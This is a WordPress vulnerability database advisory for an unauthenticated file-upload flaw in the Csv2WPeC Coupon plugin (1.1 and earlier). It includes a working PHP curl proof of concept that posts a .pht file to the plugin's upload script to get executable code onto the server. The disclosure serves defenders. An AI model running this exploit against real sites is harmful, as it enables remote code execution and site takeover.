Csv2WPeC Coupon <= 1.1 - Unauthenticated Remote File Upload

Sign up to our free email alerts service for instant vulnerability notifications!

Description
The code in csv2wpecCoupon_FileUpload.php does not properly sanitize user input, it checks the file mime-type for type x-php but this can be tricked when using the short code for <?php as <? and a file extension of .pht.  This allows a malicious user to upload executable files to a vulnerable WordPress installation.
Proof of Concept
<?php
echo "Running PoC against target site<br>"; 
$uploadfile="/var/www/s.pht";
$ch = 
curl_init("http://192.168.0.47/wp-content/plugins/csv2wpec-coupon/csv2wpecCoupon_FileUpload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('UPLOAD_DIR'=>'/usr/share/wordpress/wp-content/uploads/','OP_TYPE'=>'shell','DATA_KEY'=>1,'shell_file'=>"@$uploadfile",'folder'=>'/usr/share/wordpress/wp-content/uploads/','name'=>'s.pht'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult"; 
?>

Affects

Plugin csv2wpec-coupon

References

URL http://www.vapid.dhs.org/advisory.php?v=153

Classification

Type RFI
OWASP Top 10 A1: Injection
CWE CWE-98

Miscellaneous

Submitter Larry W. Cashdollar
Submitter Website http://www.vapid.dhs.org
Submitter Twitter _larry0
Views 227
Verified No
WPVDB ID 8189

Timeline

Publicly Published 2015-09-14 (about 1 year ago)
Added 2015-09-16 (about 1 year ago)
Last Updated 2015-09-16 (about 1 year ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.